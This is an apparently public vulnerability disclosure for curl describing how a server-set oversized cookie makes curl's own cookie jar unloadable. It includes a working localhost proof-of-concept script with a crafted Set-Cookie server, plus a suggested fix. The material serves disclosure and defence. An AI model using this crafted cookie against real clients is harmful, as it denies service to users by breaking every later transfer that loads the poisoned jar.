HexBrain

curl · Report #4021979

CVE-2026-92386: server-set cookie aborts cookie jar load

Validstatus
14 Oct 2026disclosed

How it was found

Hi all,

I found a way for a remote server to poison a shared cookie jar so that later, unrelated transfers fail before any network I/O happens. It just has to send a Set-Cookie that curl happily accepts but can never read back from its own jar file.

The bug

parse_cookie_header() accepts a Set-Cookie line up to MAX_COOKIE_LINE (5000) bytes. parse_first_pair() separately permits a name and value totaling 4096 bytes. Those two limits are independent, so a value can be crafted to land right at the edge of both.

For example: on https://a.co/, n= followed by a 4095-byte value and ; Path=/ followed by 895 more path bytes comes to exactly 5000 bytes total, exactly 4096 for name+value, with a valid 896-byte path. It sails through both checks.

The problem shows up on the write side. get_netscape_format() serializes domain, six tabs, tailmatch, path, secure flag, expiry, name, and value with no check on the resulting total length. That example alone produces at least 5013 physical bytes on disk including the newline — already past the 5000-byte ceiling the reload path enforces.

On reload, the line dynbuf is initialized with MAX_COOKIE_LINE, and Curl_get_line() calls dyn_nappend():

// lib/cookie.c:1184-1186
struct dynbuf buf;
Curl_dyn_init(&buf, MAX_COOKIE_LINE);
while(Curl_get_line(&buf, fp)) {

dyn_nappend() counts the terminating NUL against that bound, so it accepts at most 4999 physical bytes and returns CURLE_TOO_LARGE for any jar line at or beyond that. A record that was perfectly valid to accept and write is not valid to read back: the same limit gets applied inconsistently on the two sides of a round trip.

Cookie loading stops dead at that error, and Curl_pretransfer() propagates it before any network I/O starts.

It gets worse: newly received cookies get increasing creation times, and cookie_output() sorts newest-first. So the attacker's oversized record can end up ahead of older, legitimate entries in the file. As soon as it's written, one origin has poisoned a jar shared across unrelated destinations: every subsequent transfer that loads that jar fails immediately, until someone finds and removes the bad line or deletes the file.

PoC

Tested against the audit revision e5e1c356107ea4f8208757deb69776d94496cfae.

#!/usr/bin/env bash
set -eu

CURL_BIN=${CURL_BIN:-"$(pwd)/build-poc/src/curl"}
test -x "$CURL_BIN" || {
  echo "missing executable: $CURL_BIN" >&2
  exit 2
}

td=$(mktemp -d)
trap 'kill "$server_pid" 2>/dev/null || true; wait "$server_pid" 2>/dev/null || true; rm -rf "$td"' EXIT INT TERM

cat >"$td/server.py" <<'PY'
#!/usr/bin/env python3
import http.server
import sys

# 4095-byte value + one-byte name = 4096 name/value bytes.
# The total Set-Cookie value is 4997 bytes, within curl's input limit.
cookie = "n=" + "A" * 4095 + "; Path=/" + "B" * 892

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        with open(sys.argv[1], "a") as f:
            f.write("request\n")
        self.send_response(200)
        if self.path == "/set":
            self.send_header("Set-Cookie", cookie)
        self.send_header("Content-Length", "2")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, *_):
        pass

server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Handler)
print(server.server_address[1], flush=True)
server.serve_forever()
PY

requests="$td/requests"
python3 "$td/server.py" "$requests" >"$td/port" 2>"$td/server.err" &
server_pid=$!
for _ in $(seq 1 100); do
  test -s "$td/port" && break
  sleep 0.01
done
port=$(head -n 1 "$td/port")
test -n "$port" || { echo "server did not start" >&2; exit 1; }

jar="$td/cookies.txt"
"$CURL_BIN" --silent --show-error --cookie-jar "$jar" \
  "http://127.0.0.1:$port/set" -o /dev/null

line=$(awk 'BEGIN { n=0 } !/^#/ && length($0)>n { n=length($0) } END { print n }' "$jar")
printf 'serialized_cookie_line=%s bytes\n' "$line"
test "$line" -gt 5000 || { echo "jar line was not oversized" >&2; exit 1; }

before=$(wc -l <"$requests")
set +e
error=$("$CURL_BIN" --silent --show-error --cookie "$jar" \
  "http://127.0.0.1:$port/check" -o /dev/null 2>&1)
status=$?
set -e
after=$(wc -l <"$requests")

printf 'reload_exit=%s\nrequests_before=%s\nrequests_after=%s\n' \
  "$status" "$before" "$after"
printf '%s\n' "$error"

if test "$status" -ne 0 && test "$after" -eq "$before"; then
  echo "RESULT: generated cookie jar is unloadable; reload failed before network I/O"
else
  echo "RESULT: claim not reproduced"
  exit 1
fi

Running this: curl writes the jar from the /set response, and the resulting line measures over 5000 bytes (serialized_cookie_line=... bytes, > 5000 as asserted). The very next invocation, pointed at the same jar for an unrelated request to /check, fails before it ever reaches the network (requests_after equals requests_before: no second request was made).

The jar that curl itself wrote is a jar curl itself can no longer load.

Suggested direction

Use one size contract across cookie acceptance, Netscape serialization, and reload. Before accepting or writing a cookie, calculate the complete physical record, separators, newline, and terminating NUL included, and reject anything that couldn't be reloaded. Alternatively, raise the loader bound to cover the maximum valid serialized record, and make an oversized persisted line skippable rather than aborting the entire load.

Cheers, Josh

Impact

Any HTTPS server a victim's client talks to, while cookie-jar persistence is enabled, can plant a record in a shared jar that renders it unloadable. That breaks every later transfer using that jar, including ones to origins that never interacted with the attacker, until the jar is found and repaired or deleted.

Preconditions:

  • --cookie-jar/CURLOPT_COOKIEJAR persistence enabled
  • a server willing to send an oversized-but-accepted Set-Cookie header

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original